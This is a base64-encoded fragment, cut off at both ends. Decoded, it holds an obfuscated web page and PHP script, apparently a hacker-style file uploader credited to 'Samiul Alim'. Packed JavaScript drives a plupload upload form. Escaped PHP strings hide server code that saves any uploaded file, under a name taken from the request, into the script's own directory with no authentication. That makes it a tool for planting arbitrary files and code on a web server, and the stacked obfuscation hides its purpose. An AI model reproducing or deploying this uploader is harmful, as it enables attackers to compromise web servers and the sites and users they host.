DExNDQuOCwgMTAwJSwgNTAlKSwgMjNweCAyMTNweCBoc2woMTE1MC4yLCAxMDAlLCA1MCUpLCAyNXB4IDIxNHB4IGhzbCgxMTU1LjYsIDEwMCUsIDUwJSksIDI3cHggMjE1cHggaHNsKDExNjEsIDEwMCUsIDUwJSksIDI4cHggMjE2cHggaHNsKDExNjYuNCwgMTAwJSwgNTAlKSwgMzBweCAyMTdweCBoc2woMTE3MS44LCAxMDAlLCA1MCUpLCAzMnB4IDIxOHB4IGhzbCgxMTc3LjIsIDEwMCUsIDUwJSksIDMzcHggMjE5cHggaHNsKDExODIuNiwgMTAwJSwgNTAlKSwgMzVweCAyMjBweCBoc2woMTE4OCwgMTAwJSwgNTAlKSwgMzZweCAyMjFweCBoc2woMTE5My40LCAxMDAlLCA1MCUpLCAzOHB4IDIyMnB4IGhzbCgxMTk4LjgsIDEwMCUsIDUwJSksIDM5cHggMjIzcHggaHNsKDEyMDQuMiwgMTAwJSwgNTAlKSwgNDFweCAyMjRweCBoc2woMTIwOS42LCAxMDAlLCA1MCUpLCA0MnB4IDIyNXB4IGhzbCgxMjE1LCAxMDAlLCA1MCUpLCA0M3B4IDIyNnB4IGhzbCgxMjIwLjQsIDEwMCUsIDUwJSksIDQ1cHggMjI3cHggaHNsKDEyMjUuOCwgMTAwJSwgNTAlKSwgNDZweCAyMjhweCBoc2woMTIzMS4yLCAxMDAlLCA1MCUpLCA0N3B4IDIyOXB4IGhzbCgxMjM2LjYsIDEwMCUsIDUwJSksIDQ4cHggMjMwcHggaHNsKDEyNDIsIDEwMCUsIDUwJSksIDQ5cHggMjMxcHggaHNsKDEyNDcuNCwgMTAwJSwgNTAlKSwgNTBweCAyMzJweCBoc2woMTI1Mi44LCAxMDAlLCA1MCUpLCA1MXB4IDIzM3B4IGhzbCgxMjU4LjIsIDEwMCUsIDUwJSksIDUycHggMjM0cHggaHNsKDEyNjMuNiwgMTAwJSwgNTAlKSwgNTNweCAyMzVweCBoc2woMTI2OSwgMTAwJSwgNTAlKSwgNTRweCAyMzZweCBoc2woMTI3NC40LCAxMDAlLCA1MCUpLCA1NXB4IDIzN3B4IGhzbCgxMjc5LjgsIDEwMCUsIDUwJSksIDU1cHggMjM4cHggaHNsKDEyODUuMiwgMTAwJSwgNTAlKSwgNTZweCAyMzlweCBoc2woMTI5MC42LCAxMDAlLCA1MCUpLCA1N3B4IDI0MHB4IGhzbCgxMjk2LCAxMDAlLCA1MCUpLCA1N3B4IDI0MXB4IGhzbCgxMzAxLjQsIDEwMCUsIDUwJSksIDU4cHggMjQycHggaHNsKDEzMDYuOCwgMTAwJSwgNTAlKSwgNThweCAyNDNweCBoc2woMTMxMi4yLCAxMDAlLCA1MCUpLCA1OHB4IDI0NHB4IGhzbCgxMzE3LjYsIDEwMCUsIDUwJSksIDU5cHggMjQ1cHggaHNsKDEzMjMsIDEwMCUsIDUwJSksIDU5cHggMjQ2cHggaHNsKDEzMjguNCwgMTAwJSwgNTAlKSwgNTlweCAyNDdweCBoc2woMTMzMy44LCAxMDAlLCA1MCUpLCA1OXB4IDI0OHB4IGhzbCgxMzM5LjIsIDEwMCUsIDUwJSksIDU5cHggMjQ5cHggaHNsKDEzNDQuNiwgMTAwJSwgNTAlKSwgNjBweCAyNTBweCBoc2woMTM1MCwgMTAwJSwgNTAlKSwgNTlweCAyNTFweCBoc2woMTM1NS40LCAxMDAlLCA1MCUpLCA1OXB4IDI1MnB4IGhzbCgxMzYwLjgsIDEwMCUsIDUwJSksIDU5cHggMjUzcHggaHNsKDEzNjYuMiwgMTAwJSwgNTAlKSwgNTlweCAyNTRweCBoc2woMTM3MS42LCAxMDAlLCA1MCUpLCA1OXB4IDI1NXB4IGhzbCgxMzc3LCAxMDAlLCA1MCUpLCA1OHB4IDI1NnB4IGhzbCgxMzgyLjQsIDEwMCUsIDUwJSksIDU4cHggMjU3cHggaHNsKDEzODcuOCwgMTAwJSwgNTAlKSwgNThweCAyNThweCBoc2woMTM5My4yLCAxMDAlLCA1MCUpLCA1N3B4IDI1OXB4IGhzbCgxMzk4LjYsIDEwMCUsIDUwJSksIDU3cHggMjYwcHggaHNsKDE0MDQsIDEwMCUsIDUwJSksIDU2cHggMjYxcHggaHNsKDE0MDkuNCwgMTAwJSwgNTAlKSwgNTVweCAyNjJweCBoc2woMTQxNC44LCAxMDAlLCA1MCUpLCA1NXB4IDI2M3B4IGhzbCgxNDIwLjIsIDEwMCUsIDUwJSksIDU0cHggMjY0cHggaHNsKDE0MjUuNiwgMTAwJSwgNTAlKSwgNTNweCAyNjVweCBoc2woMTQzMSwgMTAwJSwgNTAlKSwgNTJweCAyNjZweCBoc2woMTQzNi40LCAxMDAlLCA1MCUpLCA1MXB4IDI2N3B4IGhzbCgxNDQxLjgsIDEwMCUsIDUwJSksIDUwcHggMjY4cHggaHNsKDE0NDcuMiwgMTAwJSwgNTAlKSwgNDlweCAyNjlweCBoc2woMTQ1Mi42LCAxMDAlLCA1MCUpLCA0OHB4IDI3MHB4IGhzbCgxNDU4LCAxMDAlLCA1MCUpLCA0N3B4IDI3MXB4IGhzbCgxNDYzLjQsIDEwMCUsIDUwJSksIDQ2cHggMjcycHggaHNsKDE0NjguOCwgMTAwJSwgNTAlKSwgNDVweCAyNzNweCBoc2woMTQ3NC4yLCAxMDAlLCA1MCUpLCA0M3B4IDI3NHB4IGhzbCgxNDc5LjYsIDEwMCUsIDUwJSksIDQycHggMjc1cHggaHNsKDE0ODUsIDEwMCUsIDUwJSksIDQxcHggMjc2cHggaHNsKDE0OTAuNCwgMTAwJSwgNTAlKSwgMzlweCAyNzdweCBoc2woMTQ5NS44LCAxMDAlLCA1MCUpLCAzOHB4IDI3OHB4IGhzbCgxNTAxLjIsIDEwMCUsIDUwJSksIDM2cHggMjc5cHggaHNsKDE1MDYuNiwgMTAwJSwgNTAlKSwgMzVweCAyODBweCBoc2woMTUxMiwgMTAwJSwgNTAlKSwgMzNweCAyODFweCBoc2woMTUxNy40LCAxMDAlLCA1MCUpLCAzMnB4IDI4MnB4IGhzbCgxNTIyLjgsIDEwMCUsIDUwJSksIDMwcHggMjgzcHggaHNsKDE1MjguMiwgMTAwJSwgNTAlKSwgMjhweCAyODRweCBoc2woMTUzMy42LCAxMDAlLCA1MCUpLCAyN3B4IDI4NXB4IGhzbCgxNTM5LCAxMDAlLCA1MCUpLCAyNXB4IDI4NnB4IGhzbCgxNTQ0LjQsIDEwMCUsIDUwJSksIDIzcHggMjg3cHggaHNsKDE1NDkuOCwgMTAwJSwgNTAlKSwgMjJweCAyODhweCBoc2woMTU1NS4yLCAxMDAlLCA1MCUpLCAyMHB4IDI4OXB4IGhzbCgxNTYwLjYsIDEwMCUsIDUwJSksIDE4cHggMjkwcHggaHNsKDE1NjYsIDEwMCUsIDUwJSksIDE2cHggMjkxcHggaHNsKDE1NzEuNCwgMTAwJSwgNTAlKSwgMTRweCAyOTJweCBoc2woMTU3Ni44LCAxMDAlLCA1MCUpLCAxM3B4IDI5M3B4IGhzbCgxNTgyLjIsIDEwMCUsIDUwJSksIDExcHggMjk0cHggaHNsKDE1ODcuNiwgMTAwJSwgNTAlKSwgOXB4IDI5NXB4IGhzbCgxNTkzLCAxMDAlLCA1MCUpLCA3cHggMjk2cHggaHNsKDE1OTguNCwgMTAwJSwgNTAlKSwgNXB4IDI5N3B4IGhzbCgxNjAzLjgsIDEwMCUsIDUwJSksIDNweCAyOThweCBoc2woMTYwOS4yLCAxMDAlLCA1MCUpLCAxcHggMjk5cHggaHNsKDE2MTQuNiwgMTAwJSwgNTAlKSwgMnB4IDMwMHB4IGhzbCgxNjIwLCAxMDAlLCA1MCUpLCAtMXB4IDMwMXB4IGhzbCgxNjI1LjQsIDEwMCUsIDUwJSksIC0zcHggMzAycHggaHNsKDE2MzAuOCwgMTAwJSwgNTAlKSwgLTVweCAzMDNweCBoc2woMTYzNi4yLCAxMDAlLCA1MCUpLCAtN3B4IDMwNHB4IGhzbCgxNjQxLjYsIDEwMCUsIDUwJSksIC05cHggMzA1cHggaHNsKDE2NDcsIDEwMCUsIDUwJSksIC0xMXB4IDMwNnB4IGhzbCgxNjUyLjQsIDEwMCUsIDUwJSksIC0xM3B4IDMwN3B4IGhzbCgxNjU3LjgsIDEwMCUsIDUwJSksIC0xNHB4IDMwOHB4IGhzbCgxNjYzLjIsIDEwMCUsIDUwJSksIC0xNnB4IDMwOXB4IGhzbCgxNjY4LjYsIDEwMCUsIDUwJSksIC0xOHB4IDMxMHB4IGhzbCgxNjc0LCAxMDAlLCA1MCUpLCAtMjBweCAzMTFweCBoc2woMTY3OS40LCAxMDAlLCA1MCUpLCAtMjJweCAzMTJweCBoc2woMTY4NC44LCAxMDAlLCA1MCUpLCAtMjNweCAzMTNweCBoc2woMTY5MC4yLCAxMDAlLCA1MCUpLCAtMjVweCAzMTRweCBoc2woMTY5NS42LCAxMDAlLCA1MCUpLCAtMjdweCAzMTVweCBoc2woMTcwMSwgMTAwJSwgNTAlKSwgLTI4cHggMzE2cHggaHNsKDE3MDYuNCwgMTAwJSwgNTAlKSwgLTMwcHggMzE3cHggaHNsKDE3MTEuOCwgMTAwJSwgNTAlKSwgLTMycHggMzE4cHggaHNsKDE3MTcuMiwgMTAwJSwgNTAlKSwgLTMzcHggMzE5cHggaHNsKDE3MjIuNiwgMTAwJSwgNTAlKSwgLTM1cHggMzIwcHggaHNsKDE3MjgsIDEwMCUsIDUwJSksIC0zNnB4IDMyMXB4IGhzbCgxNzMzLjQsIDEwMCUsIDUwJSksIC0zOHB4IDMyMnB4IGhzbCgxNzM4LjgsIDEwMCUsIDUwJSksIC0zOXB4IDMyM3B4IGhzbCgxNzQ0LjIsIDEwMCUsIDUwJSksIC00MXB4IDMyNHB4IGhzbCgxNzQ5LjYsIDEwMCUsIDUwJSksIC00MnB4IDMyNXB4IGhzbCgxNzU1LCAxMDAlLCA1MCUpLCAtNDNweCAzMjZweCBoc2woMTc2MC40LCAxMDAlLCA1MCUpLCAtNDVweCAzMjdweCBoc2woMTc2NS44LCAxMDAlLCA1MCUpLCAtNDZweCAzMjhweCBoc2woMTc3MS4yLCAxMDAlLCA1MCUpLCAtNDdweCAzMjlweCBoc2woMTc3Ni42LCAxMDAlLCA1MCUpLCAtNDhweCAzMzBweCBoc2woMTc4MiwgMTAwJSwgNTAlKSwgLTQ5cHggMzMxcHggaHNsKDE3ODcuNCwgMTAwJSwgNTAlKSwgLTUwcHggMzMycHggaHNsKDE3OTIuOCwgMTAwJSwgNTAlKSwgLTUxcHggMzMzcHggaHNsKDE3OTguMiwgMTAwJSwgNTAlKSwgLTUycHggMzM0cHggaHNsKDE4MDMuNiwgMTAwJSwgNTAlKSwgLTUzcHggMzM1cHggaHNsKDE4MDksIDEwMCUsIDUwJSksIC01NHB4IDMzNnB4IGhzbCgxODE0LjQsIDEwMCUsIDUwJSksIC01NXB4IDMzN3B4IGhzbCgxODE5LjgsIDEwMCUsIDUwJSksIC01NXB4IDMzOHB4IGhzbCgxODI1LjIsIDEwMCUsIDUwJSksIC01NnB4IDMzOXB4IGhzbCgxODMwLjYsIDEwMCUsIDUwJSksIC01N3B4IDM0MHB4IGhzbCgxODM2LCAxMDAlLCA1MCUpLCAtNTdweCAzNDFweCBoc2woMTg0MS40LCAxMDAlLCA1MCUpLCAtNThweCAzNDJweCBoc2woMTg0Ni44LCAxMDAlLCA1MCUpLCAtNThweCAzNDNweCBoc2woMTg1Mi4yLCAxMDAlLCA1MCUpLCAtNThweCAzNDRweCBoc2woMTg1Ny42LCAxMDAlLCA1MCUpLCAtNTlweCAzNDVweCBoc2woMTg2MywgMTAwJSwgNTAlKSwgLTU5cHggMzQ2cHggaHNsKDE4NjguNCwgMTAwJSwgNTAlKSwgLTU5cHggMzQ3cHggaHNsKDE4NzMuOCwgMTAwJSwgNTAlKSwgLTU5cHggMzQ4cHggaHNsKDE4NzkuMiwgMTAwJSwgNTAlKSwgLTU5cHggMzQ5cHggaHNsKDE4ODQuNiwgMTAwJSwgNTAlKSwgLTYwcHggMzUwcHggaHNsKDE4OTAsIDEwMCUsIDUwJSksIC01OXB4IDM1MXB4IGhzbCgxODk1LjQsIDEwMCUsIDUwJSksIC01OXB4IDM1MnB4IGhzbCgxOTAwLjgsIDEwMCUsIDUwJSksIC01OXB4IDM1M3B4IGhzbCgxOTA2LjIsIDEwMCUsIDUwJSksIC01OXB4IDM1NHB4IGhzbCgxOTExLjYsIDEwMCUsIDUwJSksIC01OXB4IDM1NXB4IGhzbCgxOTE3LCAxMDAlLCA1MCUpLCAtNThweCAzNTZweCBoc2woMTkyMi40LCAxMDAlLCA1MCUpLCAtNThweCAzNTdweCBoc2woMTkyNy44LCAxMDAlLCA1MCUpLCAtNThweCAzNThweCBoc2woMTkzMy4yLCAxMDAlLCA1MCUpLCAtNTdweCAzNTlweCBoc2woMTkzOC42LCAxMDAlLCA1MCUpLCAtNTdweCAzNjBweCBoc2woMTk0NCwgMTAwJSwgNTAlKSwgLTU2cHggMzYxcHggaHNsKDE5NDkuNCwgMTAwJSwgNTAlKSwgLTU1cHggMzYycHggaHNsKDE5NTQuOCwgMTAwJSwgNTAlKSwgLTU1cHggMzYzcHggaHNsKDE5NjAuMiwgMTAwJSwgNTAlKSwgLTU0cHggMzY0cHggaHNsKDE5NjUuNiwgMTAwJSwgNTAlKSwgLTUzcHggMzY1cHggaHNsKDE5NzEsIDEwMCUsIDUwJSksIC01MnB4IDM2NnB4IGhzbCgxOTc2LjQsIDEwMCUsIDUwJSksIC01MXB4IDM2N3B4IGhzbCgxOTgxLjgsIDEwMCUsIDUwJSksIC01MHB4IDM2OHB4IGhzbCgxOTg3LjIsIDEwMCUsIDUwJSksIC00OXB4IDM2OXB4IGhzbCgxOTkyLjYsIDEwMCUsIDUwJSksIC00OHB4IDM3MHB4IGhzbCgxOTk4LCAxMDAlLCA1MCUpLCAtNDdweCAzNzFweCBoc2woMjAwMy40LCAxMDAlLCA1MCUpLCAtNDZweCAzNzJweCBoc2woMjAwOC44LCAxMDAlLCA1MCUpLCAtNDVweCAzNzNweCBoc2woMjAxNC4yLCAxMDAlLCA1MCUpLCAtNDNweCAzNzRweCBoc2woMjAxOS42LCAxMDAlLCA1MCUpLCAtNDJweCAzNzVweCBoc2woMjAyNSwgMTAwJSwgNTAlKSwgLTQxcHggMzc2cHggaHNsKDIwMzAuNCwgMTAwJSwgNTAlKSwgLTM5cHggMzc3cHggaHNsKDIwMzUuOCwgMTAwJSwgNTAlKSwgLTM4cHggMzc4cHggaHNsKDIwNDEuMiwgMTAwJSwgNTAlKSwgLTM2cHggMzc5cHggaHNsKDIwNDYuNiwgMTAwJSwgNTAlKSwgLTM1cHggMzgwcHggaHNsKDIwNTIsIDEwMCUsIDUwJSksIC0zM3B4IDM4MXB4IGhzbCgyMDU3LjQsIDEwMCUsIDUwJSksIC0zMnB4IDM4MnB4IGhzbCgyMDYyLjgsIDEwMCUsIDUwJSksIC0zMHB4IDM4M3B4IGhzbCgyMDY4LjIsIDEwMCUsIDUwJSksIC0yOHB4IDM4NHB4IGhzbCgyMDczLjYsIDEwMCUsIDUwJSksIC0yN3B4IDM4NXB4IGhzbCgyMDc5LCAxMDAlLCA1MCUpLCAtMjVweCAzODZweCBoc2woMjA4NC40LCAxMDAlLCA1MCUpLCAtMjNweCAzODdweCBoc2woMjA4OS44LCAxMDAlLCA1MCUpLCAtMjJweCAzODhweCBoc2woMjA5NS4yLCAxMDAlLCA1MCUpLCAtMjBweCAzODlweCBoc2woMjEwMC42LCAxMDAlLCA1MCUpLCAtMThweCAzOTBweCBoc2woMjEwNiwgMTAwJSwgNTAlKSwgLTE2cHggMzkxcHggaHNsKDIxMTEuNCwgMTAwJSwgNTAlKSwgLTE0cHggMzkycHggaHNsKDIxMTYuOCwgMTAwJSwgNTAlKSwgLTEzcHggMzkzcHggaHNsKDIxMjIuMiwgMTAwJSwgNTAlKSwgLTExcHggMzk0cHggaHNsKDIxMjcuNiwgMTAwJSwgNTAlKSwgLTlweCAzOTVweCBoc2woMjEzMywgMTAwJSwgNTAlKSwgLTdweCAzOTZweCBoc2woMjEzOC40LCAxMDAlLCA1MCUpLCAtNXB4IDM5N3B4IGhzbCgyMTQzLjgsIDEwMCUsIDUwJSksIC0zcHggMzk4cHggaHNsKDIxNDkuMiwgMTAwJSwgNTAlKSwgLTFweCAzOTlweCBoc2woMjE1NC42LCAxMDAlLCA1MCUpOyBmb250LXNpemU6IDQwcHg7IiwiMzQxNjYzNmJqRlBKSiIsIjYwNlRMcHhNTCIsIjI1OTA4eWhLV3lFIiwiMzZRT1lsRGwiLCI4MDU2MTJDa2p0ZUQiLCI2NDc4MDUwT0dlT3FpIiwiMTk5MzE0ODNEYkpZVFgiXTtyZXR1cm4oXzB4MTc0Yz1mdW5jdGlvbigpe3JldHVybiBwfSkoKX1jb25zb2xlW18weDVhNjFmYyg0NDUpXShfMHg1YTYxZmMoNDQ3KSxjc3MsIkRldmVsb3BlZCBCeSBTYW1pdWwgQWxpbSIpPC9zY3JpcHQ+PHNjcmlwdD5mdW5jdGlvbiBfMHg1MzBhKGUsdCl7dmFyIG89XzB4MmMxNSgpO3JldHVybihfMHg1MzBhPWZ1bmN0aW9uKGUsdCl7cmV0dXJuIG9bZS09NDU1XX0pKGUsdCl9dmFyIF8weDM1Njg2ZT1fMHg1MzBhO2Z1bmN0aW9uIF8weDJjMTUoKXt2YXIgZT1bIjdxSXZWRVIiLCJVcGxvYWRlciIsIiBzdHJvbmciLCI1Nzg2NDZ5b3ZtVXEiLCIjcGVvc2VzX2R0bHMiLCJodG1sIiwnPHNwYW4gc3R5bGU9ImNvbG9yOiMzNWVhNDM7Ij5TdWNjZXNzZnVsPC9zcGFuPicsIiNwcm9jZXMiLCJzaXplIiwiI3BhbmVsLWJvZHkiLCJzaG93IiwiNDc3Y1ptbG9XIiwiI3RvdGFsX3VwbG9hZGVkIiwiJTwvaDU+IiwiMTQ4NDg0OHdEWndXdCIsInVwbG9hZGVkIiwic3RhcnQiLCIwIGIiLCIucHJvZ3Jlc3MtYmFyIiwiaW5uZXJIVE1MIiwnPHNwYW4gc3R5bGU9ImNvbG9yOiMzNTc1ZWE7Ij5VcGxvYWRpbmcuLi48L3NwYW4+ICcsIiNtYXNzYWdlIiwnPGg1IHN0eWxlPSJjb2xvcjogcmVkOyI+PGkgY2xhc3M9ImZhcyBmYS10aW1lcy1jaXJjbGUiPjwvaT48L2k+PC9oNT4nLCc8L2g1PjxoNSBzdHlsZT0id2lkdGg6MjAlOyB0ZXh0LWFsaWduOiBjZW50ZXI7IGNvbG9yOiAjZmIwZTBlOyI+JywicHJldmVudERlZmF1bHQiLCJ0b3RhbCIsImhpZGUiLCIjdG90YWxfc2l6ZSIsIiNmaWxlX3Byb2dyZXNzX3J1biIsIjE5NTUzMFVoZnlERCIsImZpbGVsaXN0IiwiY2xpY2siLCJuYW1lIiwiZ2V0RWxlbWVudEJ5SWQiLCc8aDUgc3R5bGU9ImNvbG9yOiAjYWMxNGM3OyI+JywiI2RldGlsc19oaWRlIiwiLnByb2dyZXNzLW5hbWUiLCJxdWV1ZWQiLCIucHJvZ3Jlc3MtYmFyMiIsIjQ0NTg5OWpFcFhaYSIsIjFtYiIsIiNjbG9zZS1idG4iLCJwZXJjZW50IiwnIiBzdHlsZT0iZGlzcGxheTogZmxleDsiPjxoNSBzdHlsZT0id2lkdGg6NzAlOyB0ZXh0LWFsaWduOiBsZWZ0OyBvdmVyZmxvdzogaGlkZGVuOyBjb2xvcjogIzE2MDFmMTsiPicsIjI0MjMyMmttendwaSIsImZvcm1hdFNpemUiLCI5MzI3VEhGUmJqIiwiI3RvdGFsX3NwZWVkIiwicGlja2ZpbGVzIiwiYWRkRXZlbnRMaXN0ZW5lciIsJzxoNSBzdHlsZT0iY29sb3I6ICMxMGM1NTA7Ij48aSBjbGFzcz0iZmFzIGZhLWNoZWNrLWNpcmNsZSI+PC9pPjwvaDU+JywiI2RldGlsc19zaG93IiwiNTM5NDA1a0FHQVVQIiwid2lkdGgiLCJsb2FkIiwicXVlcnlTZWxlY3RvciIsImh0bWw1LGh0bWw0IiwnPGRpdiBpZD0iJywiLnByb2dyZXNzLXBlci10IiwiYnl0ZXNQZXJTZWMiLCI4cUNIcE1TIl07cmV0dXJuKF8weDJjMTU9ZnVuY3Rpb24oKXtyZXR1cm4gZX0pKCl9KGZ1bmN0aW9uKGUsdCl7Zm9yKHZhciBvPV8weDUzMGEsbj1fMHgyYzE1KCk7Oyl0cnl7aWYoMzIyMjgxPT0tcGFyc2VJbnQobyg0NjYpKS8xKy1wYXJzZUludChvKDQ4NCkpLzIrcGFyc2VJbnQobyg0NTkpKS8zKigtcGFyc2VJbnQobyg0ODApKS80KStwYXJzZUludChvKDQ3MikpLzUrLXBhcnNlSW50KG8oNDY0KSkvNioocGFyc2VJbnQobyg0ODEpKS83KSstcGFyc2VJbnQobyg0OTUpKS84Ky1wYXJzZUludChvKDQ5MikpLzkqKC1wYXJzZUludChvKDUxMCkpLzEwKSlicmVhaztuLnB1c2gobi5zaGlmdCgpKX1jYXRjaChlKXtuLnB1c2gobi5zaGlmdCgpKX19KSgpLHdpbmRvd1tfMHgzNTY4NmUoNDY5KV0oXzB4MzU2ODZlKDQ3NCksZnVuY3Rpb24oKXt2YXIgbj1fMHgzNTY4NmUscj1uZXcocGx1cGxvYWRbbig0ODIpXSkoe3J1bnRpbWVzOm4oNDc2KSxicm93c2VfYnV0dG9uOm4oNDY4KSx1cmw6InBsdXBsb2FkLnBocCIsY2h1bmtfc2l6ZTpuKDQ2MCksaW5pdDp7UG9zdEluaXQ6ZnVuY3Rpb24oKXt2YXIgZT1uO2RvY3VtZW50W2UoNTE0KV0oZSg1MTEpKS5pbm5lckhUTUw9IiJ9LEZpbGVzQWRkZWQ6ZnVuY3Rpb24oZSx0KXt2YXIgbz1uOyQoIiN0b3RhbF9wZW5kaW5nIilbbyg0ODYpXShlLnRvdGFsW28oNDk2KV0rZVtvKDUwNildW28oNDU3KV0pLHBsdXBsb2FkLmVhY2godCxmdW5jdGlvbihlKXt2YXIgdD1vO2RvY3VtZW50W3QoNTE0KV0odCg1MTEpKVt0KDUwMCldKz10KDQ3NykrZS5pZCt0KDQ2MykrZVt0KDUxMyldK3QoNTA0KStwbHVwbG9hZFt0KDQ2NSldKGVbdCg0ODkpXSkrJzwvaDU+PHN0cm9uZyBzdHlsZT0id2lkdGg6MTAlOyB0ZXh0LWFsaWduOiBjZW50ZXI7Ij48aDUgc3R5bGU9ImNvbG9yOiAjY2FhMjExOyI+PGkgY2xhc3M9ImZhcyBmYS1jbG91ZC11cGxvYWQtYWx0Ij48L2k+PC9oNT48L3N0cm9uZz48L2Rpdj48YnI+JywkKHQoNDkwKSlbdCg1MDcpXSgpLCQodCg1MDIpKVt0KDQ4NildKHQoNTAxKSksJCh0KDQ4OCkpW3QoNDkxKV0oKSwkKHQoNTA5KSlbdCg0OTEpXSgpfSkscltvKDQ5NyldKCl9LFVwbG9hZFByb2dyZXNzOmZ1bmN0aW9uKGUsdCl7dmFyIG89bjtkb2N1bWVudFtvKDQ3NSldKCIjIit0LmlkK28oNDgzKSkuaW5uZXJIVE1MPW8oNTE1KSt0W28oNDYyKV0rbyg0OTQpLCQobyg0NTgpKS53aWR0aChlW28oNTA2KV1bbyg0NjIpXSsiJSIpLCQobyg0NzgpKS5odG1sKGVbbyg1MDYpXVtvKDQ2MildKyIlIiksJChvKDQ5MykpW28oNDg2KV0oZVtvKDUwNildLnVwbG9hZGVkKSwkKG8oNTA4KSkuaHRtbChwbHVwbG9hZFtvKDQ2NSldKGVbbyg1MDYpXS5zaXplKSksJChvKDQ2NykpW28oNDg2KV0ocGx1cGxvYWRbbyg0NjUpXShlW28oNTA2KV1bbyg0NzkpXSkpLCQobyg0OTkpKVtvKDQ3MyldKHRbbyg0NjIpXSsiJSIpLCQoIi5wcm9ncmVzcy1wZXIiKVtvKDQ4NildKHQucGVyY2VudCsiJSIpLCQobyg0NTYpKS5odG1sKHQubmFtZSksJCgiLnByb2dyZXNzLXNpemUiKVtvKDQ4NildKHBsdXBsb2FkW28oNDY1KV0odFtvKDQ4OSldKSl9LEZpbGVVcGxvYWRlZDpmdW5jdGlvbihlLHQpe3ZhciBvPW47ZG9jdW1lbnRbbyg0NzUpXSgiIyIrdC5pZCsiIHN0cm9uZyIpW28oNTAwKV09byg0NzApfSxVcGxvYWRDb21wbGV0ZTpmdW5jdGlvbihlLHQpe3ZhciBvPW47JChvKDQ2MSkpLnNob3coKSwkKCIjZmlsZV9wcm9ncmVzc19ydW4iKS5oaWRlKDUwMCksJChvKDUwMikpW28oNDg2KV0obyg0ODcpKSwkKG8oNDkzKSlbbyg0ODYpXShlW28oNTA2KV1bbyg0OTYpXSksJCgiI3RvdGFsX3NwZWVkIilbbyg0ODYpXShvKDQ5OCkpfSxFcnJvcjpmdW5jdGlvbihlLHQpe3ZhciBvPW47ZG9jdW1lbnRbbyg0NzUpXSgiIyIrZmlsZS5pZCsiIHN0cm9uZyIpW28oNTAwKV09byg1MDMpfX19KTtyLmluaXQoKX0pLCQoIiNjbG9zZS1idG4iKS5vbigiY2xpY2siLGZ1bmN0aW9uKGUpe3ZhciB0PV8weDM1Njg2ZTtlW3QoNTA1KV0oKSwkKHQoNDYxKSlbdCg1MDcpXSgpLCQodCg0ODgpKVt0KDUwNyldKCksJCh0KDQ5MCkpW3QoNDkxKV0oKX0pLCQoXzB4MzU2ODZlKDQ3MSkpLm9uKF8weDM1Njg2ZSg1MTIpLGZ1bmN0aW9uKCl7dmFyIGU9XzB4MzU2ODZlOyQoZSg0NzEpKVtlKDUwNyldKDUwMCksJCgiI3Blb3Nlc19kdGxzIilbZSg0OTEpXSg1MDApLCQoIiNkZXRpbHNfaGlkZSIpW2UoNDkxKV0oNTAwKX0pLCQoXzB4MzU2ODZlKDQ1NSkpLm9uKF8weDM1Njg2ZSg1MTIpLGZ1bmN0aW9uKCl7dmFyIGU9XzB4MzU2ODZlOyQoZSg0NTUpKVtlKDUwNyldKDUwMCksJChlKDQ4NSkpW2UoNTA3KV0oNTAwKSwkKGUoNDcxKSkuc2hvdyg1MDApfSk8L3NjcmlwdD48L2JvZHk+PC9odG1sPjw/cGhwICBkaWU7IH0gZWxzZSB7IGZ1bmN0aW9uIHZlcmJvc2UoJG9rID0gMSwgJGluZm8gPSAnJykgeyBpZiAoJG9rID09IDApIHsgaHR0cF9yZXNwb25zZV9jb2RlKDQwMCk7IH0gZGllKGpzb25fZW5jb2RlKGFycmF5KCJceDZmXHg2YiIgPT4gJG9rLCAiXHg2OVx4NmVcMTQ2XDE1NyIgPT4gJGluZm8pKSk7IH0gaWYgKGVtcHR5KCRfRklMRVMpIHx8ICRfRklMRVNbIlx4NjZceDY5XDE1NFx4NjUiXVsiXDE0NVx4NzJceDcyXDE1N1wxNjIiXSkgeyB2ZXJib3NlKDAsICJceDQ2XDE0MVx4NjlceDZjXHg2NVwxNDRceDIwXHg3NFx4NmZcNDBceDZkXHg2Zlx4NzZceDY1XHgyMFx4NzVceDcwXDE1NFx4NmZcMTQxXHg2NFx4NjVceDY0XHgyMFwxNDZceDY5XHg2Y1wxNDVcNTYiKTsgfSAkZmlsZVBhdGggPSBfX0RJUl9fIC4gRElSRUNUT1JZX1NFUEFSQVRPUjsgaWYgKCFmaWxlX2V4aXN0cygkZmlsZVBhdGgpKSB7IGlmICghbWtkaXIoJGZpbGVQYXRoLCA1MTEsIHRydWUpKSB7IHZlcmJvc2UoMCwgIlx4NDZceDYxXHg2OVx4NmNcMTQ1XHg2NFw0MFwxNjRceDZmXHgyMFwxNDNcMTYyXDE0NVwxNDFceDc0XDE0NVw0MHskZmlsZVBhdGh9Iik7IH0gfSAkZmlsZU5hbWUgPSBpc3NldCgkX1JFUVVFU1RbIlx4NmVcMTQxXHg2ZFwxNDUiXSkgPyAkX1JFUVVFU1RbIlx4NmVcMTQxXDE1NVwxNDUiXSA6ICRfRklMRVNbIlwxNDZceDY5XHg2Y1wxNDUiXVsiXDE1NlwxNDFceDZkXHg2NSJdOyAkZmlsZVBhdGggPSAkZmlsZVBhdGggLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGZpbGVOYW1lOyAkY2h1bmsgPSBpc3NldCgkX1JFUVVFU1RbIlwxNDNcMTUwXDE2NVx4NmVcMTUzIl0pID8gaW50dmFsKCRfUkVRVUVTVFsiXHg2M1x4NjhcMTY1XHg2ZVwxNTMiXSkgOiAwOyAkY2h1bmtzID0gaXNzZXQoJF9SRVFVRVNUWyJcMTQzXHg2OFwxNjVceDZlXHg2Ylx4NzMiXSkgPyBpbnR2YWwoJF9SRVFVRVNUWyJceDYzXHg2OFwxNjVcMTU2XDE1M1x4NzMiXSkgOiAwOyAkb3V0ID0gQGZvcGVuKCJ7JGZpbGVQYXRofVx4MmVceDcwXHg2MVwxNjJcMTY0IiwgJGNodW5rID09IDAgPyAiXHg3N1wxNDIiIDogIlwxNDFcMTQyIik7IGlmICgkb3V0KSB7ICRpbiA9IEBmb3BlbigkX0ZJTEVTWyJcMTQ2XHg2OVx4NmNceDY1Il1bIlwxNjRcMTU1XDE2MFwxMzdcMTU2XHg2MVwxNTVceDY1Il0sICJceDcyXDE0MiIpOyBpZiAoJGluKSB7IHdoaWxlICgkYnVmZiA9IGZyZWFkKCRpbiwgNDA5NikpIHsgZndyaXRlKCRvdXQsICRidWZmKTsgfSB9IGVsc2UgeyB2ZXJib3NlKDAsICJceDQ2XDE0MVx4NjlceDZjXDE0NVx4NjRceDIwXDE2NFwxNTdcNDBcMTU3XHg3MFx4NjVceDZlXDQwXHg2OVx4NmVcMTYwX